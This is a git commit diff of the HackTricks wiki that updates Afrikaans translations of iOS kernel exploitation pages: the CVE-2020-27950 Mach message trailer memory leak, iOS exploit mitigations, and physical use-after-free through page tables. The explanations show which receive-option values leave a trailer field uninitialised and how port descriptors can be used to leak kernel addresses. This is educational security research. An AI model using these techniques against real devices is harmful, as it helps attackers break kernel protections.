mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/crypto-and-stego/blockchain-and-crypto-currencies.md',
This commit is contained in:
parent
96580cfd36
commit
e982f6a444
@ -81,6 +81,7 @@
|
|||||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||||
|
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||||
|
|
||||||
# 🧙♂️ Generic Hacking
|
# 🧙♂️ Generic Hacking
|
||||||
@ -769,7 +770,7 @@
|
|||||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||||
@ -846,7 +847,6 @@
|
|||||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||||
|
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||||
@ -895,7 +895,6 @@
|
|||||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
|
||||||
|
|
||||||
# ✍️ TODO
|
# ✍️ TODO
|
||||||
|
|
||||||
|
@ -3,13 +3,13 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Die Fout
|
## Die fout
|
||||||
|
|
||||||
Jy het 'n [goeie uiteensetting van die vuln hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), maar as opsomming:
|
Jy het 'n [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), maar as opsomming:
|
||||||
|
|
||||||
Elke Mach message wat die kernel ontvang, eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die message buffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte teruggegee word** gebaseer op **deur gebruiker beheerde ontvangopsies**.
|
Elke Mach message wat die kernel ontvang eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die boodskapbuffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte om terug te gee** gebaseer op **ontvangopsies wat deur die gebruiker beheer word**.
|
||||||
|
|
||||||
Hierdie is die trailer-relevante structs:
|
These are the trailer relevant structs:
|
||||||
```c
|
```c
|
||||||
typedef struct{
|
typedef struct{
|
||||||
mach_msg_trailer_type_t msgh_trailer_type;
|
mach_msg_trailer_type_t msgh_trailer_type;
|
||||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
|||||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||||
```
|
```
|
||||||
Wanneer die trailer-voorwerp gegenereer word, word slegs sommige velde geïnitialiseer, en die maksimum trailer-grootte word altyd gereserveer:
|
Dan, wanneer die trailer object gegenereer word, word slegs sommige velde geïnitialiseer, en die max trailer size word altyd gereserveer:
|
||||||
```c
|
```c
|
||||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
|||||||
[...]
|
[...]
|
||||||
trailer->msgh_labels.sender = 0;
|
trailer->msgh_labels.sender = 0;
|
||||||
```
|
```
|
||||||
Byvoorbeeld, wanneer jy probeer om ’n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer aan die boodskap toe te voeg. Binne hierdie funksie word die trailer-grootte bereken en sommige ander trailer-velde gevul:
|
Dan, byvoorbeeld, wanneer jy probeer om 'n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer by die boodskap te voeg. Binne hierdie funksie word die grootte van die trailer bereken en sommige ander trailer-velde ingevul:
|
||||||
```c
|
```c
|
||||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||||
return trailer->msgh_trailer_size;
|
return trailer->msgh_trailer_size;
|
||||||
@ -51,7 +51,7 @@ trailer->msgh_seqno = seqno;
|
|||||||
trailer->msgh_context = context;
|
trailer->msgh_context = context;
|
||||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||||
```
|
```
|
||||||
Die `option`-parameter is deur die gebruiker beheerbaar, dus **moet 'n waarde gestuur word wat die `if`-kontrole slaag.**
|
Die `option`-parameter word deur die gebruiker beheer, dus **is dit nodig om 'n waarde te stuur wat die `if`-kontrole deurstaan.**
|
||||||
|
|
||||||
Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur:
|
Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur:
|
||||||
```c
|
```c
|
||||||
@ -67,7 +67,7 @@ Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur:
|
|||||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||||
```
|
```
|
||||||
Maar omdat die `MACH_RCV_TRAILER_MASK` net bits kontroleer, kan ons enige waarde tussen `0` en `8` deurgee om nie binne die `if` statement in te gaan nie.
|
Maar omdat die `MACH_RCV_TRAILER_MASK` net bits nagaan, kan ons enige waarde tussen `0` en `8` gebruik om nie binne die `if` statement in te gaan nie.
|
||||||
|
|
||||||
Dan, as jy met die kode voortgaan, vind jy:
|
Dan, as jy met die kode voortgaan, vind jy:
|
||||||
```c
|
```c
|
||||||
@ -94,17 +94,17 @@ return trailer->msgh_trailer_size;
|
|||||||
```
|
```
|
||||||
Waar jy kan sien dat as die `option` groter is of gelyk aan `MACH_RCV_TRAILER_AV` (7), die veld **`msgh_ad`** geïnitialiseer word na `0`.
|
Waar jy kan sien dat as die `option` groter is of gelyk aan `MACH_RCV_TRAILER_AV` (7), die veld **`msgh_ad`** geïnitialiseer word na `0`.
|
||||||
|
|
||||||
As jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geïnitialiseer is nie en wat 'n leak van voorheen gebruikte geheue kon bevat.
|
Indien jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geïnitialiseer is nie en wat moontlik 'n leak vanaf voorheen gebruikte geheue kon bevat.
|
||||||
|
|
||||||
Dus, om dit te vermy om dit te initialiseer, sou jy 'n `option`-waarde van `5` of `6` deurgee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseert nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie.
|
Dus, die manier om dit te vermy om dit te initialiseer, is om 'n `option` waarde van `5` of `6` deur te gee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseer nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie.
|
||||||
|
|
||||||
### Basiese PoC
|
### Basic PoC
|
||||||
|
|
||||||
Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om net 'n paar lukrake data te leak.
|
In die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), is daar 'n PoC om net 'n paar ewekansige bytes te leak.
|
||||||
|
|
||||||
### Leak Kernel Address PoC
|
### Leak Kernel Address PoC
|
||||||
|
|
||||||
Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om 'n kernel adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs in die boodskap gestuur, omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in kernel is die `name`-veld 'n struct `ipc_port` pointer. Daarom beteken dit dat die stuur van tientalle van hierdie structs in die boodskap in kernel sal lei tot die **byvoeging van verskeie kernel addresses binne die boodskap** sodat een daarvan geleak kan word.
|
In die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), is daar 'n PoC om 'n kernel-adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs gestuur omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in die kernel die `name`-veld 'n struct `ipc_port` pointer is. Daarom sal die stuur van tientalle van hierdie structs in die boodskap na die kernel beteken dat daar verskeie kernel-adresse binne die boodskap bygevoeg word, sodat een van hulle ge-leak kan word.
|
||||||
|
|
||||||
Kommentaar is bygevoeg vir beter begrip:
|
Kommentaar is bygevoeg vir beter begrip:
|
||||||
```c
|
```c
|
||||||
@ -326,7 +326,7 @@ return 0;
|
|||||||
```
|
```
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
- [Synacktiv se blogpos](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -5,109 +5,108 @@
|
|||||||
|
|
||||||
## iOS Exploit Mitigations
|
## iOS Exploit Mitigations
|
||||||
|
|
||||||
- **Code Signing** in iOS werk deur te vereis dat elke stukkie uitvoerbare kode (apps, libraries, extensions, ens.) kriptografies geteken is met ’n sertifikaat uitgegee deur Apple. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude root. As die handtekening ongeldig, afwesig of gemodifiseer is, weier die OS om dit uit te voer. Dit verhoed dat aanvallers kwaadwillige kode in regmatige apps inprop of unsigned binaries laat loop, en blokkeer dus die meeste exploit-kettings wat staatmaak op die uitvoering van ewekansige of veranderde kode.
|
- **Code Signing** in iOS werk deur te vereis dat elke stuk uitvoerbare kode (apps, libraries, extensions, ens.) kryptografies geteken is met ’n sertifikaat uitgereik deur Apple. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude root. As die handtekening ongeldig, afwesig of gewysig is, weier die OS om dit uit te voer. Dit voorkom dat aanvalle kwaadwillige kode in legitieme apps inspuit of unsigned binaries laat hardloop, en stop dus die meeste exploit-kettings wat staatmaak op die uitvoering van arbitrêre of gewysigde kode.
|
||||||
- **CoreTrust** is die iOS substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple se rootsertifikaat sonder om op gecachte trust stores te staatmaak, wat beteken dat slegs binaries wat deur Apple geteken is (of met geldige entitlements) kan uitvoering kry. CoreTrust verseker dat selfs as ’n aanvaller ’n app na installasie manipuleer, stelselbiblioteke verander of probeer om unsigned code te laai, die stelsel die uitvoering sal blokkeer tensy die kode steeds korrek geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes met swakker of omseilbare handtekeningkontroles toegelaat het.
|
- **CoreTrust** is die iOS-substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple se root-sertifikaat sonder om op gecachte trust-stores te staatmaak, wat beteken slegs binaries geteken deur Apple (of met geldige entitlements) kan uitgevoer word. CoreTrust maak seker dat selfs as ’n aanvaller ’n app na installasie manipuleer, stelselbiblioteke wysig of probeer unsigned code laai, die stelsel die uitvoering blokkeer tensy die kode steeds korrekt geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes deur swakker of omseilbare handtekeningskontroles toegelaat het.
|
||||||
- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy dit duidelik kode bevat. Dit keer dat aanvallers shellcode in datagebiede (soos die stack of heap) inprop en dit uitvoer, en dwing hulle om meer komplekse tegnieke soos ROP (Return-Oriented Programming) te gebruik.
|
- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy hulle eksplisiet kode bevat. Dit keer dat aanvallers shellcode in data-gebiede (soos die stack of heap) inspuit en dit uitvoer, wat hulle dwing om op meer komplekse tegnieke soos ROP (Return-Oriented Programming) te staatmaak.
|
||||||
- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer as die stelsel loop. Dit maak dit veel moeiliker vir aanvallers om te voorspel waar nuttige instruksies of gadgets is, en breek baie exploit-kettings wat op vaste geheue-lay-outs staatmaak.
|
- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer as die stelsel loop. Dit maak dit baie moeiliker vir aanvallers om te voorspel waar nuttige instruksies of gadgets is en breek vele exploit-kettings wat van vaste geheue-lêers afhanklik is.
|
||||||
- **KASLR (Kernel ASLR)** pas dieselfde randomisasiekonsep toe op die iOS-kernel. Deur die kernel se basisadres by elke boot te skud, verhoed dit dat aanvallers betroubaar kernel-funksies of strukture lok, wat die moeilikheidsgraad van kernelvlak-exploits verhoog wat andersins volle stelselbeheer sou gee.
|
- **KASLR (Kernel ASLR)** pas dieselfde randomisasiekonsep toe op die iOS-kernel. Deur die kernel se basisadres by elke opstart te skuif, voorkom dit dat aanvallers betroubaar kernel-funksies of strukture lokaliseer, wat die moeilikheidsgraad van kernel-level exploits verhoog wat andersins volle stelselbeheer sou kry.
|
||||||
- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor voortdurend die kernel se kodebladsye om te verseker dat dit nie gewysig is nie. As enige manipulasie opgespoor word—soos ’n exploit wat kernel-funksies probeer patch of kwaadwillige kode invoeg—sal die toestel onmiddellik panic en herlaai. Hierdie beskerming maak volhoubare kernel-exploits baie moeiliker, aangesien aanvallers nie net kernel-instruksies kan hook of patch sonder om ’n stelselcrash te veroorsaak nie.
|
- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor voortdurend die kernel se code pages om seker te maak hulle is nie gemanipuleer nie. As enige tampering opgespoor word—soos ’n exploit wat kernel-funksies probeer patch of kwaadwillige kode invoeg—sal die toestel onmiddellik panic en herbegin. Hierdie beskerming maak volhoubare kernel-exploits baie moeilik, aangesien aanvallers nie eenvoudig kernel-instruksies kan hook of patch sonder om ’n stelselkras te veroorsaak nie.
|
||||||
- **Kernel Text Readonly Region (KTRR)** is ’n hardware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle ingeval is. Dit gebruik die CPU se geheuebeheerder om die kernel se kode (text) afdeling permanent as read-only na boot te merk. Sodra dit gesluit is, kan selfs die kernel self nie hierdie geheuegebied wysig nie. Dit verhoed dat aanvallers—en selfs bevoorregte kode—kernel-instruksies by runtime patch, wat ’n groot klas exploits toemaak wat gebaseer was op direkte wysiging van kernel-kode.
|
- **Kernel Text Readonly Region (KTRR)** is ’n hardware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle geïntroduseer is. Dit gebruik die CPU se geheuekontroller om die kernel se code (text) afdeling na boot permanent as read-only te merk. Sodra dit gesluit is, kan selfs die kernel self nie hierdie geheuegebied wysig nie. Dit voorkom dat aanvallers—en selfs geprivilegieerde kode—kernel-instruksies by runtime patch, en sluit ’n groot klas exploits wat daarop staatmaak.
|
||||||
- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingebed in ongebruikte biete van pointers om hul integriteit te verifieer voordat dit gebruik word. Wanneer ’n pointer (soos ’n return address of funksiepointer) geskep word, teken die CPU dit met ’n geheime sleutel; voor dereferensie kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die kontrole en stop uitvoering. Dit verhoed dat aanvallers pointers forgery of hergebruik in geheue-korrupsie-exploits, en maak tegnieke soos ROP of JOP baie moeiliker om betroubaar uit te voer.
|
- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingesluit in ongebruikte bis van pointers om hul integriteit voor gebruik te verifieer. Wanneer ’n pointer (soos ’n return address of function pointer) geskep word, teken die CPU dit met ’n geheime sleutel; voor dereferensie kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die kontrole en stop uitvoering. Dit voorkom dat aanvallers pointers vervals of hergebruik in geheuekorruptie-exploits, wat tegnieke soos ROP of JOP baie moeiliker maak om betroubaar uit te voer.
|
||||||
- **Privilege Access never (PAN)** is ’n hardware-funksie wat verhoed dat die kernel (bevoorregte modus) direk user-space geheue benader tensy dit uitdruklik toegang toelaat. Dit stop aanvallers wat kernel-code-uitvoering verkry het om maklik user-memory te lees of te skryf om exploits te eskaleer of sensitiewe data te steel. Deur noue skeiding af te dwing verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation-tegnieke.
|
- **Privilege Access never (PAN)** is ’n hardware-funksie wat verhoed dat die kernel (geprivilegieerde modus) direk user-space geheue toegang sonder om dit eksplisiet te aktiveer. Dit stop aanvallers wat kernel code execution verkry het om maklik user memory te lees of te skryf om privileges te eskaleer of sensitiewe data te steel. Deur streng skeiding af te dwing, verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation tegnieke.
|
||||||
- **Page Protection Layer (PPL)** is ’n iOS-sekuriteitsmeganisme wat kritiese kernel-beheerde geheuegebiede beskerm, veral dié wat verband hou met code signing en entitlements. Dit handhaaf streng skryfbeskermings met behulp van die MMU (Memory Management Unit) en addisionele kontroles, en verseker dat selfs bevoorregte kernel-kode nie lukraak sensitiewe bladsye kan wysig nie. Dit verhoed dat aanvallers wat kernelvlak-uitvoering kry, sekuriteit-kritieke strukture manipuleer, wat persistentie en code-signing-omseilings aansienlik moeiliker maak.
|
- **Page Protection Layer (PPL)** is ’n iOS-sekuriteitsmeganisme wat kritieke kernel-beheerde geheuegebiede beskerm, veral dié wat verband hou met code signing en entitlements. Dit handhaaf stringe skryfbeskermings deur die MMU (Memory Management Unit) en addisionele kontroles, wat verseker dat selfs geprivilegieerde kernel-kode nie lukraak sensitiewe pages kan wysig nie. Dit voorkom dat aanvalle wat kernel-vlak uitvoering kry, sekuriteitskritieke strukture manipuleer, wat volharding en code-signing omseilings aansienlik moeiliker maak.
|
||||||
|
|
||||||
|
|
||||||
## Physical use-after-free
|
## Physical use-after-free
|
||||||
|
|
||||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||||
|
|
||||||
### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||||
|
|
||||||
Die **virtual memory address space** vir user-processes op iOS strek van **0x0 to 0x8000000000**. Hierdie adresse kaart egter nie direk na fisiese geheue nie. In plaas daarvan gebruik die **kernel** **page tables** om virtuele adresse na werklike **physical addresses** te vertaal.
|
Die **virtual memory address space** vir user-prosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse kaart egter nie direk na physical memory nie. In plaas daarvan gebruik die **kernel** **page tables** om virtual adresse na werklike **physical addresses** te vertaal.
|
||||||
|
|
||||||
#### Vlakke van bladsytabelle in iOS
|
#### Levels of Page Tables in iOS
|
||||||
|
|
||||||
Bladsytabelle is hiërargies in drie vlakke georganiseer:
|
Page tables is hiërargies in drie vlakke georganiseer:
|
||||||
|
|
||||||
1. **L1 Page Table (Level 1)**:
|
1. **L1 Page Table (Level 1)**:
|
||||||
* Elke entiteit hier verteenwoordig ’n groot reeks virtuele geheue.
|
* Elke entry hier verteenwoordig ’n groot reeks van virtual memory.
|
||||||
* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
|
* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtual memory.
|
||||||
2. **L2 Page Table (Level 2)**:
|
2. **L2 Page Table (Level 2)**:
|
||||||
* ’n Entiteit hier verteenwoordig ’n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
|
* ’n Entry hier verteenwoordig ’n kleiner streek van virtual memory, spesifiek **0x2000000 bytes** (32 MB).
|
||||||
* ’n L1-entiteit kan na ’n L2-tabel wys as dit nie die hele streek self kan map nie.
|
* ’n L1 entry kan na ’n L2 table wys as dit die hele streek nie self kan map nie.
|
||||||
3. **L3 Page Table (Level 3)**:
|
3. **L3 Page Table (Level 3)**:
|
||||||
* Dit is die fynste vlak, waar elke entiteit ’n enkele **4 KB** geheuebladsy map.
|
* Dit is die fynste vlak, waar elke entry ’n enkele **4 KB** memory page map.
|
||||||
* ’n L2-entiteit kan na ’n L3-tabel wys as meer gedetailleerde beheer benodig word.
|
* ’n L2 entry kan na ’n L3 table wys indien meer gedetailleerde beheer benodig word.
|
||||||
|
|
||||||
#### Mapping van virtueel na fisies geheue
|
#### Mapping Virtual to Physical Memory
|
||||||
|
|
||||||
* **Direct Mapping (Block Mapping)**:
|
* **Direct Mapping (Block Mapping)**:
|
||||||
* Sommige entiteite in ’n bladsytabel kaart ’n reeks virtuele adresse direk na ’n aaneenlopende reeks fisiese adresse (soos ’n kortpad).
|
* Sommige entries in ’n page table map direk ’n reeks virtual addresses na ’n aaneenlopende reeks physical addresses (soos ’n snelweg).
|
||||||
* **Pointer to Child Page Table**:
|
* **Pointer to Child Page Table**:
|
||||||
* As fynere beheer benodig word, kan ’n entiteit op een vlak (bv. L1) na ’n **child page table** op die volgende vlak (bv. L2) wys.
|
* As meer fyn beheer nodig is, kan ’n entry op een vlak (bv. L1) na ’n **child page table** op die volgende vlak (bv. L2) wys.
|
||||||
|
|
||||||
#### Voorbeeld: Mapping van ’n Virtuele Adres
|
#### Example: Mapping a Virtual Address
|
||||||
|
|
||||||
Kom ons sê jy probeer toegang kry tot die virtuele adres **0x1000000000**:
|
Kom ons sê jy probeer toegang kry tot die virtual address **0x1000000000**:
|
||||||
|
|
||||||
1. **L1 Table**:
|
1. **L1 Table**:
|
||||||
* Die kernel kyk die L1 bladsytabel-entiteit na wat ooreenstem met hierdie virtuele adres. As dit ’n **pointer to an L2 page table** het, gaan dit na daardie L2-tabel.
|
* Die kernel kyk die L1 page table entry wat ooreenstem met hierdie virtual address na. As dit ’n **pointer to an L2 page table** het, gaan dit na daardie L2 table.
|
||||||
2. **L2 Table**:
|
2. **L2 Table**:
|
||||||
* Die kernel kyk die L2 bladsytabel vir ’n meer gedetailleerde mapping. As hierdie entiteit na ’n **L3 page table** wys, gaan dit verder daarheen.
|
* Die kernel kyk die L2 page table vir ’n meer gedetailleerde mapping. As hierdie entry na ’n **L3 page table** wys, gaan dit voort daarheen.
|
||||||
3. **L3 Table**:
|
3. **L3 Table**:
|
||||||
* Die kernel soek die finale L3-entiteit, wat na die **physical address** van die werklike geheuebladsy wys.
|
* Die kernel soek die finale L3 entry, wat na die **physical address** van die werklike memory page wys.
|
||||||
|
|
||||||
#### Voorbeeld van adres-mapping
|
#### Example of Address Mapping
|
||||||
|
|
||||||
As jy die fisiese adres **0x800004000** in die eerste indeks van die L2-tabel skryf, dan:
|
As jy die physical address **0x800004000** in die eerste index van die L2 table skryf, dan:
|
||||||
|
|
||||||
* Virtuele adresse van **0x1000000000** tot **0x1002000000** map na fisiese adresse van **0x800004000** tot **0x802004000**.
|
* Virtual addresses van **0x1000000000** tot **0x1002000000** map na physical addresses van **0x800004000** tot **0x802004000**.
|
||||||
* Dit is ’n **block mapping** op die L2-vlak.
|
* Dit is ’n **block mapping** op die L2-vlak.
|
||||||
|
|
||||||
Alternatiewelik, as die L2-entiteit na ’n L3-tabel wys:
|
Alternatiewelik, as die L2 entry na ’n L3 table wys:
|
||||||
|
|
||||||
* Elke 4 KB bladsy in die virtuele adresreeks **0x1000000000 -> 0x1002000000** sou deur individuele entiteite in die L3-tabel gemap word.
|
* Elke 4 KB page in die virtual address-reeks **0x1000000000 -> 0x1002000000** sal deur individuele entries in die L3 table gemap word.
|
||||||
|
|
||||||
### Physical use-after-free
|
### Physical use-after-free
|
||||||
|
|
||||||
’n **Physical use-after-free (UAF)** gebeur wanneer:
|
A **physical use-after-free** (UAF) gebeur wanneer:
|
||||||
|
|
||||||
1. ’n proses iets geheue **allocates** as **readable and writable**.
|
1. ’n Proses **alloceer** sekere geheue as **readable and writable**.
|
||||||
2. Die **page tables** word opgedateer om hierdie geheue na ’n spesifieke fisiese adres te map wat die proses kan benader.
|
2. Die **page tables** word opgedateer om hierdie geheue aan ’n spesifieke physical address te koppel wat die proses kan gebruik.
|
||||||
3. Die proses **deallocates** (free) die geheue.
|
3. Die proses **dealloceer** (vrymaak) die geheue.
|
||||||
4. Vanweë ’n **bug**, vergeet die kernel egter om die mapping uit die page tables te verwyder, al merk dit die ooreenstemmende fisiese geheue as vry.
|
4. As gevolg van ’n **bug**, vergeet die kernel egter om die mapping uit die page tables te verwyder, selfs al merk dit die ooreenstemmende physical memory as vry.
|
||||||
5. Die kernel kan dan hierdie “vrygestelde” fisiese geheue **reallocate** vir ander doeleindes, soos **kernel data**.
|
5. Die kernel kan dan hierdie “vrygemaakte” physical memory **opnuut toewys** vir ander doeleindes, soos **kernel data**.
|
||||||
6. Aangesien die mapping nie verwyder is nie, kan die proses steeds **read en write** na hierdie fisiese geheue.
|
